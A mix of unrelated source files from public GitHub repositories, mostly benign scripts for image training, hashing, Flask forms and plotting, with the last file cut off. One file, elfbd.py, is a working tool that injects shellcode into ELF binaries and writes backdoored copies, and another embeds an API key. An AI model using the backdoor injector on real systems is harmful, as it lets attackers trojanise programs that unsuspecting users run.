+{"seq_id":"36578001708","text":"import pywhatkit\nimport time\nimport openpyxl\nfrom pathlib import Path\n\n# xlsx_file = Path('Guests.xlsx')\nxlsx_file = Path('Test.xlsx')\nwb_obj = openpyxl.load_workbook(xlsx_file)\nsheet = wb_obj.active\nrows = list(sheet.iter_rows())[2:]\n\nname_index = 0\nphone_index = 4\nwith_out_point_index = 9\nisrael_area = \"+972\"\ntext_message = \" היקרים!\\nאנחנו שמחים ונרגשים להזמינכם לחגוג עימנו את יום נישואינו!\"\n\nnames = []\nphone_numbers = []\n\nfor row in rows:\n    if row[name_index].value is not None and row[phone_index].value is not None:\n        names.append(row[name_index].value)\n        clean_phone_number = str(row[phone_index].value)[:with_out_point_index]\n        with_are_code = israel_area + str(clean_phone_number)\n        phone_numbers.append(with_are_code)\n\n        print(str(row[name_index].value) + \": \" + str(with_are_code))\nprint(len(phone_numbers))\nguests = zip(names, phone_numbers)\nfor guest in guests:\n    print(guest[0])\n    pywhatkit.sendwhats_image(guest[1], \"WeddingInvitation.jpeg\", guest[0] + text_message, 20, True, 5)\n    time.sleep(1)\n","repo_name":"stavih19/MessagesWideDistribution","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"9181212592","text":"#!/usr/bin/env python3\n\nimport sys\nsys.dont_write_bytecode = True\n\nimport struct\nfrom os             import chmod\nfrom argparse       import ArgumentParser\nfrom ELF.ELF        import ELF\nfrom ELF.ELFEnum    import *\nfrom log            import Log\n\n\nprettyHex = lambda x: (hex(x) if isinstance(x, int) else ' '.join(hex(i) for i in x))\n\n\ndef gen_sc_wrapper(legit_e_entry, new_e_entry, shellcode, breakpoint, arch=ELFHeaderEnum.Class.ELF32.value, legit_instr=None):\n    sc_wrapper  = b\"\"\n    sc_wrapper += b\"\\xe8\\x00\\x00\\x00\\x00\\x54\\x50\\x53\\x51\\x52\\x55\\x56\\x57\" # pushes\n    if arch == ELFHeaderEnum.Class.ELF64.value:\n        sc_wrapper += b\"\\x41\\x50\\x41\\x51\\x41\\x52\\x41\\x53\\x41\\x54\\x41\\x55\\x41\\x56\\x41\\x57\"\n    if breakpoint:\n        sc_wrapper += b\"\\xcc\"\n    sc_wrapper += shellcode\n    if arch == ELFHeaderEnum.Class.ELF64.value:\n        sc_wrapper += b\"\\x41\\x5f\\x41\\x5e\\x41\\x5d\\x41\\x5c\\x41\\x5b\\x41\\x5a\\x41\\x59\\x41\\x58\"\n    sc_wrapper += b\"\\x5f\\x5e\\x5d\\x5a\\x59\\x5b\\x58\\x5c\" # popes\n    if legit_instr:\n        sc_wrapper += legit_instr\n    else:\n        sc_wrapper += b\"\\x5b\"\n        if arch == ELFHeaderEnum.Class.ELF64.value:\n            sc_wrapper += b\"\\x48\"\n        sc_wrapper += b\"\\x81\\xeb\"\n        sc_wrapper += new_e_entry\n        if arch == ELFHeaderEnum.Class.ELF64.value:\n            sc_wrapper += b\"\\x48\"\n        sc_wrapper += b\"\\x81\\xc3\"\n        sc_wrapper += legit_e_entry\n        sc_wrapper += b\"\\x53\"\n    sc_wrapper += b\"\\xc3\"\n\n    return sc_wrapper\n\ndef get_args():\n    p = ArgumentParser()\n    p.add_argument(\"-b\", \"--binary\", help=\"Binary path to backdoor\", required=True)\n    p.add_argument(\"-s\", \"--shellcode\", help=\"Path to the raw shellcode (file)\", required=True)\n    p.add_argument(\"-l\", \"--location\", help=\"Hex value of where to put the shellcode\", required=True)\n    p.add_argument(\"-e\", \"--entry\", help=\"Where the shellcode should be called (default: binary entry point)\", default=None)\n    p.add_argument(\"--breakpoint\", help=\"Add a breakpoint (\\\\xcc) at the begining of the shellcode\", action='store_true')\n\n    return p.parse_args()\n\n\ndef main():\n    args = get_args()\n    log = Log(True)\n\n    with open(args.binary, \"rb\") as f:\n        binData = f.read()\n\n    elf = ELF(binData)\n\n    with open(args.shellcode, \"rb\") as f:\n        shellcode = f.read()\n\n    loc = int(args.location, 16)\n    entry = int(args.entry, 16) if args.entry else None\n\n    if elf.ei_mag != b\"\\x7f\\x45\\x4c\\x46\":\n        log.error(\"Binary is not an ELF file. Exiting...\")\n        return 1\n\n    safe_cc = True\n    for i in (elf.elf_file[loc], elf.elf_file[loc]+len(shellcode), 1):\n        off = loc+i\n        if elf.elf_file[off] != 0x00:\n            safe_cc = False\n\n    if not safe_cc:\n        log.warn(\"Warning: selected codecave doesn't only contain null bytes\")\n\n    secid     = elf.get_section_id_from_offset(loc)\n    phid      = elf.get_prog_hdr_id_from_offset(loc)\n\n    if entry:\n        legit_loc = entry\n    else:\n        if elf.ei_class == ELFHeaderEnum.Class.ELF64.value:\n            legit_loc  = elf.e_entry\n        else:\n            legit_loc  = elf.e_entry - elf.program_headers[phid].p_vaddr\n\n    sc = gen_sc_wrapper(elf.p(\"I\", legit_loc), elf.p(\"I\", loc+5), shellcode, args.breakpoint, elf.ei_class)\n\n    end_secid = elf.get_section_id_from_offset(loc+len(sc))\n    end_phid  = elf.get_prog_hdr_id_from_offset(loc+len(sc))\n\n    if not phid:\n        log.error(\"Error, location is outside of a program header.\")\n        return\n\n    elif not end_phid:\n        log.warn(f\"Program header {log.construct(log.colors.fg.GREEN, ProgramHeaderEnum.Type(elf.program_headers[phid].p_type).name, log.colors.format.RESET)} is finishing before the end of the shellcode.\")\n        resp = input(\"Increase its size? [Y/n] \")\n        if resp.lower() != 'n':\n            prev_size = elf.program_headers[phid].p_filesz\n            elf.program_headers[phid].p_filesz = elf.program_headers[phid].p_filesz + len(sc)\n            elf.program_headers[phid].p_memsz = elf.program_headers[phid].p_memsz + len(sc)\n            log.info(f\"Previous size: {log.construct(log.colors.fg.CYAN, prettyHex(prev_size), log.colors.format.RESET)} Bytes | New size: {log.construct(log.colors.fg.CYAN, prettyHex(elf.program_headers[phid].p_filesz), log.colors.format.RESET)} Bytes\")\n\n    elif elf.program_headers[phid].p_type != elf.program_headers[end_phid].p_type:\n        log.error(\"Error! The shellcode is overlapping 2 program headers. Find another place.\")\n        elf.program_headers[phid].print_program_header()\n        elf.program_headers[end_phid].print_program_header()\n        return\n\n\n    if not secid:\n        print(\"[x] Error, location is outside of a section.\")\n        return\n\n    elif not end_secid:\n        log.warn(f\"Section {log.construct(log.colors.fg.GREEN, elf.section_headers[secid].sh_name_str, log.colors.format.RESET)} is finishing before the end of the shellcode.\")\n        resp = input(\"Increase its size? [Y/n] \")\n        if resp.lower() != 'n':\n            prev_size = elf.section_headers[secid].sh_size\n            elf.section_headers[secid].sh_size = elf.section_headers[secid].sh_size + len(sc)\n            log.info(f\"Previous size: {log.construct(log.colors.fg.CYAN, prettyHex(prev_size), log.colors.format.RESET)} Bytes | New size: {log.construct(log.colors.fg.CYAN, prettyHex(elf.section_headers[secid].sh_size), log.colors.format.RESET)} Bytes\")\n\n    elif elf.section_headers[secid].sh_name != elf.section_headers[end_secid].sh_name:\n        log.error(\"Error! The shellcode is overlapping 2 sections. Find another place.\")\n        elf.section_headers[secid].print_section_header()\n        elf.section_headers[end_secid].print_section_header()\n        return\n\n\n    log.info(\"Setting required program header flags...\")\n    elf.program_headers[phid].setFlags(ProgramHeaderEnum.Flags.PF_X.value | ProgramHeaderEnum.Flags.PF_W.value | ProgramHeaderEnum.Flags.PF_R.value)\n    log.success(f\"Program header flags: {log.construct(log.colors.fg.MAGENTA, elf.program_headers[phid].prettyFlags(), log.colors.format.RESET)}\")\n\n    log.info(\"Setting required section flags...\")\n    elf.section_headers[secid].setFlags(SectionHeaderEnum.Flags.SHF_EXECINSTR.value | SectionHeaderEnum.Flags.SHF_WRITE.value | SectionHeaderEnum.Flags.SHF_ALLOC.value)\n    log.success(f\"Section flags: {log.construct(log.colors.fg.MAGENTA, elf.section_headers[secid].prettyFlags(), log.colors.format.RESET)}\")\n\n\n    if entry:\n        new_instr = b\"\\xe8\" + elf.p(\"i\", loc-entry)\n        import capstone\n        md = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64)\n        i=0\n        legit_instrs = b\"\"\n        for (addr, size, mnem, op_str) in md.disasm_lite(bytes(elf.elf_file[entry:entry+0x10]), entry):\n            legit_instrs += elf.elf_file[entry+i:entry+size+i]\n            i += size\n            if i >= len(new_instr):\n                break\n        new_instr = new_instr + (b\"\\x90\"*(len(legit_instrs)-len(new_instr)))\n\n        elf.elf_file[entry:entry+len(new_instr)] = new_instr\n        sc = gen_sc_wrapper(elf.p(\"I\", legit_loc), elf.p(\"I\", loc+5), shellcode, args.breakpoint, elf.ei_class, legit_instrs)\n    else:\n        elf.e_entry = loc \\\n            if elf.ei_class == ELFHeaderEnum.Class.ELF64.value \\\n            else loc + elf.program_headers[phid].p_vaddr\n\n    elf.elf_file[loc:loc+len(sc)] = sc\n\n    newBinData = elf.build_elf()\n\n    newFileName = f\"./{args.binary.split('/')[-1]}.bdoor\"\n    with open(newFileName, \"wb\") as f:\n        f.write(newBinData)\n    chmod(newFileName, 0o755)\n\n    log.success(f\"Backdoored file written at {log.construct(log.colors.fg.YELLOW, newFileName, log.colors.format.RESET)}!\")\n\n    return 0\n\n\n\nif __name__=='__main__':\n    exit(main())\n","repo_name":"wr34k/elf-backdoor","sub_path":"elfbd.py","file_name":"elfbd.py","file_ext":"py","file_size_in_byte":7672,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"13752913233","text":"import torchvision\nimport torch.optim\nimport os\nimport argparse\nimport time\n# from dataloader import ImageDataset\nfrom model import enhance_net_nopool_v2 as enhance_net_nopool # we use v2 in our paper (quadratic curve)\nimport loss_func\nimport numpy as np\nfrom torchvision import transforms\nimport torch\nfrom utils.utils import *\nimport numpy as np\nfrom utils.resnet import resnet101\nfrom PIL import Image\n\ndef make_dataset(dir):\n    images = []\n    assert os.path.isdir(dir), '%s is not a valid directory' % dir\n\n    for root, _, fnames in sorted(os.walk(dir)):\n        for fname in fnames:\n            # if is_image_file(fname):\n            path = os.path.join(root, fname)\n            images.append(path)\n    print(len(images))\n    return images\n\nclass ImageDataset(torch.utils.data.Dataset):\n    def __init__(self, root='', height=256, width=256, transform=None, path=False):\n        if transform is None:\n            self.transform = transforms.Compose([\n                transforms.Resize((height, width)),\n                transforms.ToTensor()\n            ])\n        else:\n            self.transform = transform\n        self.paths = sorted(make_dataset(root))\n        self.path = path\n\n        self.size = len(self.paths)  # get the size of dataset A\n\n    def __getitem__(self, index):\n        # make sure index is within then range\n        path = self.paths[index]\n        A_img = Image.open(path).convert('RGB')\n        # apply image transformation\n        A = self.transform(A_img)\n\n        # print(A.shape,B.shape)\n        if self.path:\n            return A, path\n        else:\n            return A\n\n    def __len__(self):\n        return len(self.paths)\n\n\ndef weights_init(m):\n    classname = m.__class__.__name__\n    if classname.find('Conv') != -1:\n        m.weight.data.normal_(0.0, 0.02)\n    elif classname.find('BatchNorm') != -1:\n        m.weight.data.normal_(1.0, 0.02)\n        m.bias.data.fill_(0)\n\n\ndef train(args):\n\n    os.environ['CUDA_VISIBLE_DEVICES'] = args.gpu_id\n    scale_factor = args.scale_factor\n    DCE_net = enhance_net_nopool(scale_factor, curve_round=args.curve_round,\n                                 encode_dim=args.encode_dim,\n                                 down_scale=args.down_scale).cuda()\n\n    DCE_net.train()\n\n    transform = transforms.Compose([\n        transforms.Resize(256),\n        transforms.RandomCrop((224,224)),\n        transforms.ToTensor(),\n    ])\n    \n    mean, std = [0.485, 0.456, 0.406], [0.229, 0.224, 0.225]\n\n    train_dataset = ImageDataset(args.lowlight_images_path, transform=transform)\n\n    train_loader = torch.utils.data.DataLoader(\n        train_dataset, batch_size=args.train_batch_size, shuffle=True, num_workers=args.num_workers, pin_memory=True, drop_last=True)\n\n    L_color = loss_func.L_color()\n    L_down = loss_func.L_down()\n    L_exp = loss_func.L_exp(args.patch_size, args.exp_weight)\n    L_tv = loss_func.L_TV(mid_val=args.tv_mid)\n\n    if args.sim:\n        L_sim = loss_func.L_sim()\n        resnet = resnet101(pretrained=True, return_last_feature=True).cuda().eval()\n        resnet.requires_grad_ = False\n    else:\n        L_sim = None\n\n    optimizer = torch.optim.Adam(DCE_net.parameters(\n        ), lr=args.lr, weight_decay=args.weight_decay)\n\n    scheduler = torch.optim.lr_scheduler.MultiStepLR(\n        optimizer, milestones=[int(i) for i in args.decreasing_lr.split(',')], gamma=0.1)\n\n    DCE_net.train()\n    low_exp, high_exp = args.exp_range.split('-')\n    low_exp, high_exp = float(low_exp), float(high_exp)\n\n    iteration = 1\n    ltv, ldown, lcol, lexp, lsim = AverageMeter(), AverageMeter(), AverageMeter(), AverageMeter(), AverageMeter()\n    ltotal = AverageMeter()\n    while iteration <= args.max_iters:\n        for img in train_loader:\n            exp = torch.rand(args.train_batch_size, 1, 1, 1).cuda() * (high_exp - low_exp) + low_exp\n\n            img = img.cuda()\n\n            darkened_img, [enhance_r, down_scale] = DCE_net(img, exp)\n            real_exp = darkened_img[0].mean().item()\n            ori_exp = img[0].mean().item()\n            if iteration % 50 == 0:\n                torchvision.utils.save_image(\n                    darkened_img[0], 'checkpoints/'+args.experiment+'/outputs/'+str(iteration)+f'-{(exp[0].item()):.2f}-{real_exp:.2f}.png')\n                torchvision.utils.save_image(\n                    img[0], 'checkpoints/'+args.experiment+'/outputs/'+str(iteration)+f'-gt-{ori_exp:.2f}.png')\n\n            loss = 0.\n            loss_TV = args.tv_weight * L_tv(enhance_r)\n            loss += loss_TV\n            ltv.update(loss_TV.item(), args.train_batch_size)\n\n            loss_col = args.color_weight*torch.mean(L_color(darkened_img))\n            loss += loss_col\n            lcol.update(loss_col.item(), args.train_batch_size)\n\n            loss_down = args.down_weight*L_down(down_scale)\n            loss += loss_down\n            ldown.update(loss_down.item(), args.train_batch_size)\n\n            if L_sim is not None:\n                # normalize\n                img_norm = (img - torch.tensor(mean).view(3, 1, 1).cuda()) / torch.tensor(std).view(3, 1, 1).cuda()\n                darkened_img_norm = (darkened_img - torch.tensor(mean).view(3, 1, 1).cuda()) / torch.tensor(std).view(3, 1, 1).cuda()\n                out_ori = resnet(img_norm)\n                out_low = resnet(darkened_img_norm)\n                loss_sim = L_sim([out_ori], [out_low]) * args.sim_weight\n                loss += loss_sim\n                lsim.update(loss_sim.item(), args.train_batch_size)\n            else:\n                loss_sim = torch.zeros(1)\n\n            loss_exp = torch.mean(L_exp(darkened_img, exp))\n            loss += loss_exp\n            lexp.update(loss_exp.item(), args.train_batch_size)\n\n            ltotal.update(loss.item(), args.train_batch_size)\n\n            optimizer.zero_grad()\n            loss.backward()\n            torch.nn.utils.clip_grad_norm(\n                DCE_net.parameters(), args.grad_clip_norm)\n            optimizer.step()\n\n            if ((iteration+1) % args.display_iter) == 0:\n                log.info('Iter [{}/{}] Loss: {:.4f} Loss_TV: {:.4f} Loss_down: {:.4f} Loss_col: {:.4f} Loss_exp: {:.4f}, Loss_sim {:4f}'.format(\n                            iteration+1, args.max_iters, loss.item(), loss_TV.item(), loss_down.item(), loss_col.item(), loss_exp.item(), loss_sim.item()))\n            \n            iteration += 1\n            scheduler.step()\n            \n            if iteration > args.max_iters:\n                break\n\n            if iteration % 1000 == 0:\n                torch.save(DCE_net.state_dict(\n                    ), 'checkpoints/' + args.experiment + \"/Iter\" + str(iteration) + '.pth')\n\n\nif __name__ == \"__main__\":\n\n    parser = argparse.ArgumentParser()\n\n    # Input Parameters\n    parser.add_argument('--lowlight_images_path', type=str,\n                        default=\"../visual-place-recognition/dataset/train/120k\",\n                        )\n    parser.add_argument('--lr', type=float, default=1e-4)\n    parser.add_argument('--weight_decay', type=float, default=1e-4)\n    parser.add_argument('--decreasing_lr', default='1000,3000', type=str)\n    parser.add_argument('--grad_clip_norm', type=float, default=0.1)\n    parser.add_argument('--max_iters', type=int, default=5000)\n    parser.add_argument('--train_batch_size', type=int, default=8)\n    parser.add_argument('--num_workers', type=int, default=4)\n    parser.add_argument('--display_iter', type=int, default=10)\n    parser.add_argument('--snapshot_iter', type=int, default=10)\n    parser.add_argument('--scale_factor', type=int, default=1)\n    parser.add_argument('--experiment', type=str,\n                        required=True, help=\"Name of the folder where the checkpoints will be saved\")\n    parser.add_argument('--exp_range', type=str, default='0-0.5')\n    parser.add_argument('--gpu_id', type=str, default='0')\n    parser.add_argument('--patch_size', type=int, default=1)\n    parser.add_argument('--width', type=int, default=224)\n    parser.add_argument('--height', type=int, default=224)\n    parser.add_argument('--exp_weight', type=float, default=10)\n    parser.add_argument('--color_weight',type=float,default=25)\n\n    parser.add_argument('--tv_weight',type=float,default=1600)\n    parser.add_argument('--tv_mid', type=float, default=0.02)\n    parser.add_argument('--sim',action='store_true')\n    parser.add_argument('--sim_weight',type=float,default=0.1)\n    parser.add_argument('--curve_round',type=int,default=8)\n\n    parser.add_argument('--encode_dim',type=int,default=1)\n    parser.add_argument('--down_scale',type=float,default=0.95)\n    parser.add_argument('--down_weight',type=float,default=5)\n\n    args = parser.parse_args()\n\n    if not os.path.exists(os.path.join('checkpoints', args.experiment)):\n        os.makedirs(os.path.join('checkpoints', args.experiment))\n    if not os.path.exists(os.path.join('checkpoints', args.experiment, 'outputs')):\n        os.makedirs(os.path.join('checkpoints', args.experiment, 'outputs'))\n\n    log = logger(os.path.join('checkpoints', args.experiment))\n    log.info(str(args))\n\n    train(args)\n","repo_name":"Red-Fairy/ZeroShotDayNightDA","sub_path":"darkening/darken_vpr.py","file_name":"darken_vpr.py","file_ext":"py","file_size_in_byte":9062,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"22"}
+{"seq_id":"8036197954","text":"import secrets\n\nfrom blake3 import blake3\n\n\ndef computeInputValue(bitcoin_address: bytes, message: bytes):\n    # compute the bitcoin_address_hash\n    bitcoin_address_hash = blake3(bitcoin_address).digest()\n    # compute the message hash\n    message_hash = blake3(bitcoin_address).digest()\n    # compute the input by concatenating the bitcoin_address_hash\n    # with the message hash\n    input_value = bitcoin_address_hash + message_hash\n    return input_value\n\n\n# this function produces the hash\ndef produce(\n        bitcoin_address: bytes,\n        message: bytes,\n        application: str, timestamp: str, purpose: str, nounce=None):\n    # compute the input value\n    input_value = computeInputValue(bitcoin_address, message)\n    # generate the random nounce if needed\n    random_nounce = None\n    if nounce is None:\n        random_nounce = secrets.token_bytes(32)\n    else:\n        random_nounce = nounce\n    # derive the key\n    context = application + timestamp + purpose\n    derived_key = blake3(random_nounce, derive_key_context=context).digest()\n    # compute the hash\n    _hash = blake3(input_value, key=derived_key).digest()\n    return _hash, derived_key\n\n\n# this function allows to verify the hash\n# from verification data we have\n# * derived_key\n# * message\n# and from transaction data we have\n# * bitcoin_address\n# from the block\n# * _hash\ndef verify(derived_key: bytes,\n           bitcoin_address: bytes,\n           message: bytes,\n           _hash: bytes):\n    # compute the input value\n    input_value = computeInputValue(bitcoin_address, message)\n    # re-calculate the hash\n    recalculated_hash = blake3(input_value, key=derived_key).digest()\n    assert recalculated_hash == _hash\n","repo_name":"Blockfinance-ECO/Bitcoin-Value-Assert","sub_path":"bva.py","file_name":"bva.py","file_ext":"py","file_size_in_byte":1699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"7450455745","text":"from flask import Flask, render_template, request, redirect\nimport csv\n\napp = Flask(__name__)\n\n@app.route('/')\ndef home():\n    return render_template('index.html')\n\n\n@app.route('/submit_form', methods=['GET', 'POST'])\ndef submit_form():\n    global data\n    if request.method == 'POST':\n        try:\n            data = request.form.to_dict()\n            #print(data[\"name\"], data[\"email\"])\n            write_to_csv(data)\n            return 'Thanks for submitting!!'\n\n        except:\n            return 'Your data was not saved to database!!!'\n\n    else:\n        return 'Something Went Wrong!!!'\n\n\n\n\ndef write_to_csv(data):\n    with open('./database.csv','a', newline='') as dbfile2:\n        name=data[\"name\"]\n        email= data[\"email\"]\n        dist= data[\"dist\"]\n        location= data[\"location\"]\n        csvWriter = csv.writer(dbfile2, delimiter=',',\n                            quotechar='|' ,quoting=csv.QUOTE_MINIMAL)\n        csvWriter.writerow([name,email,dist,location])\n\n\nif __name__ == '__main__':\n    app.run()","repo_name":"arnabchat123/oxygen","sub_path":"oxy.py","file_name":"oxy.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"33406058527","text":"class Solution:\n    def minimumDistance(self, word: str) -> int:\n        \n        \n        def distance(x,y):\n            r1,c1 = (ord(x) - ord('A')) // 6,(ord(x) - ord('A')) % 6\n            r2,c2 = (ord(y) - ord('A')) // 6,(ord(y) - ord('A')) % 6\n            return abs(r1 - r2) + abs(c1 - c2) \n            \n        \n        @cache\n        def dfs(i,f1,f2):\n            \n            if i >= len(word):\n                return 0\n            \n            res = float('inf')\n            \n            if f1 != '':\n                #move finger1\n                res = min(res, dfs(i + 1,word[i], f2) + distance(f1,word[i]))\n            else:\n                res = min(res, dfs(i + 1,word[i], f2))\n            if f2 != '':\n                #move finger2\n                res = min(res, dfs(i + 1,f1, word[i]) + distance(f2,word[i]))\n            else:\n                res = min(res, dfs(i + 1,f1, word[i]))\n            \n            \n            return res\n        \n        return dfs(0,'','')","repo_name":"tannerr12/Data-Structures-and-Algorithms","sub_path":"1320-minimum-distance-to-type-a-word-using-two-fingers/1320-minimum-distance-to-type-a-word-using-two-fingers.py","file_name":"1320-minimum-distance-to-type-a-word-using-two-fingers.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"10618705376","text":"from decimal import *\r\nfrom datetime import *\r\nfrom Tarifa import *\r\n\r\ndef calcularPrecio(tarifa, tiempoDeTrabajo):\r\n    \r\n    precioSemana = tarifa.getPrecio()\r\n    precioFindeSemana = tarifa.getPrecio()\r\n        \r\n        \r\n    #Chequeamos que los valores sean validos.\r\n    if (precioSemana < 0):\r\n        raise ValueError('La tarifa de la semana no debe ser negativa',precioSemana)\r\n    \r\n    if (precioFindeSemana < 0):\r\n        raise ValueError('La tarifa del fin de semana no debe ser negativa',precioFindeSemana)\r\n    \r\n    if (tiempoDeTrabajo[0] < tiempoDeTrabajo[1]):\r\n        raise ValueError('Tiempo de trabajo negativo!',tiempoDeTrabajo[0],tiempoDeTrabajo[1])\r\n    \r\n    aux = (tiempoDeTrabajo[1] - tiempoDeTrabajo[0])\r\n    \r\n    if (aux.day == 0 and aux.year == 0 and aux.month == 0 and aux.hour == 0 and aux.minute < 15):\r\n        raise ValueError('Tiempo de trabajo menor a 15 minutos!',tiempoDeTrabajo[0],tiempoDeTrabajo[1])\r\n    \r\n    if (aux.day > 7 or (aux.day == 7 and aux.hour > 0)):\r\n        raise ValueError('El Tiempo de trabajo debe ser menor a 7 dias',tiempoDeTrabajo[0],tiempoDeTrabajo[1])\r\n    \r\n    #Inicializamos valores para el ciclo\r\n    aux = tiempoDeTrabajo[0]\r\n    aux2 = timedelta(hours=1)\r\n    prevDay = 0\r\n    tarifa = Decimal(0)\r\n    \r\n    \r\n    while (aux < tiempoDeTrabajo[1]):\r\n        \r\n        #Se suman las tarifas en caso de ser cualquier dia (0 siendo lunes, 6 siendo domingo)\r\n        if (aux.weekday < 5):\r\n            tarifa += precioSemana\r\n        else:\r\n            tarifa += precioFindeSemana\r\n\r\n\r\n        # Estos proximos ifs implementan el cambio de precio cuando se va de un dia de semana\r\n        # a uno que es fin de semana y viceversa           \r\n        if (prevDay == 6 and aux.weekday == 0):\r\n            tarifa += precioSemana\r\n        elif (prevDay == 4 and aux.weekday == 5):\r\n            tarifa += precioFindeSemana\r\n        \r\n        prevDay = aux.weekday\r\n        aux += aux2\r\n    \r\n    return tarifa","repo_name":"Imme2/SoftwareTarea2","sub_path":"calcularPrecio.py","file_name":"calcularPrecio.py","file_ext":"py","file_size_in_byte":1971,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"4504416080","text":"import requests\nimport json\n\ndef find_proper_image(json_result):\n    pods = json_result[\"queryresult\"][\"pods\"]\n    for pod in pods:\n        if \"Visual representation of\" in pod[\"title\"]:\n            return pod[\"subpods\"][0][\"img\"][\"src\"]\n        if \"illustration\" in pod[\"title\"]:\n            return pod[\"subpods\"][0][\"img\"][\"src\"]\n    return None\n\ndef save_image(query, filename):\n    base_url = \"http://api.wolframalpha.com/v2/query\"\n    params = {\n        \"input\": query,\n        \"format\": \"image\",\n        \"output\": \"JSON\",\n        \"appid\": \"QQ9932-7PXA4JPRGK\",\n    }\n\n    response = requests.get(base_url, params=params)\n\n    if response.status_code == 200:\n        result = response.json()\n\n    else:\n        print(f\"Error: {response.status_code} - {response.text}\")\n\n    url = find_proper_image(result)\n    if url is None:\n        print(\"No valid url found\")\n        return 0\n    \n    response = requests.get(url)\n\n    if response.status_code == 200:\n        # The file content is stored in response.content\n        with open(filename, \"wb\") as f:\n            f.write(response.content)\n        print(\"File downloaded successfully.\")\n        return 1\n    else:\n        print(f\"Failed to download the file. Status code: {response.status_code}\")\n        return 0\n\n# with open(\"sample.json\", \"w\") as outfile:\n#     outfile.write(json.dumps(result[\"queryresult\"][\"pods\"], indent=4))","repo_name":"zacn04/Scribe","sub_path":"latex_to_response/image_handling.py","file_name":"image_handling.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"26943721059","text":"# coding:utf-8\nimport os,re\n'''\n所有文件路径创建\n'''\n\n#获取根路径\ndef Root_path():\n    file_address=os.path.dirname(os.path.realpath(__file__)).replace('\\\\', '/')\n    root_Path=re.search(r'(.*)Public_methods',file_address)\n    return root_Path.group(1)\n\n#confing路径\ndef crg_path():\n    crg_file=os.path.join(Root_path(),'Public_methods/crg_file/')\n    if not os.path.exists(crg_file):os.makedirs(crg_file)\n    ini_file=crg_file+'crg_file.ini'\n    return ini_file\n\n\n\nif __name__=='__main__':\n    print(crg_path())\n","repo_name":"270466585/my_django","sub_path":"Public_methods/file_path.py","file_name":"file_path.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"36778492694","text":"#!/usr/bin/env python3\n\n# SPDX-License-Identifier: MIT\n\n'''\nfile : plot_electric_field\ndate : 17/07/2023\n\nDiagnostic for (X,Y,Vx,Vy) geometry\n\n-----> Simple usage: python3 plot_electric_field.py ../../../build/simulations/geometryXYVxVy/landau/ --itime 10 \n-----> Animation: python3 plot_electric_field.py ../../../build/simulations/geometryXYVxVy/landau/ --gif True\n\n'''\n\n# pylint: disable=invalid-name\n# pylint: disable=wrong-import-order\n\nfrom argparse import ArgumentParser\nfrom pathlib import Path\nfrom scipy import interpolate, stats\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\n\nfrom gysdata import DiskStore\nfrom plot_utils import plot_field2d\n\nimport imageio.v2 as imageio\n\nif __name__ == '__main__':\n    parser = ArgumentParser(\n        description='Plots the electric field')\n    parser.add_argument('data_dir',\n                        action='store',\n                        nargs='?',\n                        default=Path.cwd(),\n                        type=Path,\n                        help='location of the results')\n    parser.add_argument('--gif',\n                        action='store',\n                        default=False,\n                        type=bool,\n                        help='produce animation')\n    parser.add_argument('--itime',\n                        action='store',\n                        default=-1,\n                        type=int,\n                        help='time index')\n    parser.add_argument('--grate',\n                    metavar='<growth rate>',\n                        action='store',\n                        default=-0.1533,\n                        type=float,\n                        help='theoritical growth rate')\n\n    args = parser.parse_args()\n\n    # Load data\n    theo_rate = args.grate\n    data_structure_name = 'data_structure_XYVxVy.yaml'\n    ds = DiskStore(args.data_dir, data_structure=Path(data_structure_name))\n    epot = ds['electrostatic_potential']\n    fdistribu = ds['fdistribu']\n    Ex = -epot.differentiate('x')\n    Ey = -epot.differentiate('y')\n    Timer = epot.shape[0]\n    time_init = epot.coords['time'].values[0]\n    time_diag = epot.coords['time'].values[args.itime]\n    time_final = epot.coords['time'].values[-1]\n\n    output_filename = os.path.join(Path.cwd(), f'electric_energy_t{time_diag}.png')\n    data_dict = {f't={time_init}': epot.sel(time=time_init),\n                 f't={time_diag}': epot.sel(time=time_diag)}\n\n    def plot_electric_potential(itime):\n        '''\n        Plot electric potential\n        '''\n        output_filename_epot = os.path.join(Path.cwd(), 'electric_potential.png')\n        plot_field2d(epot[itime,:,:].T , '', output_filename_epot, cmap='jet', scale='linear')\n\n\n    def plot_electric_field(itime):\n        '''\n        Plot electric field\n        '''\n\n        output_filename_Ex = os.path.join(Path.cwd(), 'electric_field_x.png')\n        plot_field2d(Ex[itime-1,:,:].T , '', output_filename_Ex, cmap='jet', scale='linear')\n\n        output_filename_Ey = os.path.join(Path.cwd(), 'electric_field_y.png')\n        plot_field2d(Ey[itime-1,:,:].T , '', output_filename_Ey, cmap='jet', scale='linear')\n\n    def plot_electric_energy_density_field(itime):\n        '''\n        Plot electric energy density field\n        '''\n\n        z = np.power(Ex[itime-1,:,:],2)+np.power(Ey[itime-1,:,:],2)\n        output_filename_U = os.path.join(Path.cwd(), 'electric_energy_density_field.png')\n        plot_field2d(z, '', output_filename_U, cmap='jet', scale='linear')\n\n\n    def compute_electric_energy():\n        '''\n        Before displaying energy we have to perform a  two-dimensional integration.\n        For that  we first interpolate the Electric field over the x,y plane.\n        '''\n\n        Energy = np.zeros(Timer)\n        for k in range(1,Timer):\n            z = np.power(Ex[k,:,:],2)+np.power(Ey[k,:,:],2)\n            val = interpolate.RectBivariateSpline(epot.coords['x'].to_numpy(),\n                epot.coords['y'].to_numpy(),z)\n            Energy[k] = val.integral(epot.coords['x'].values[0], 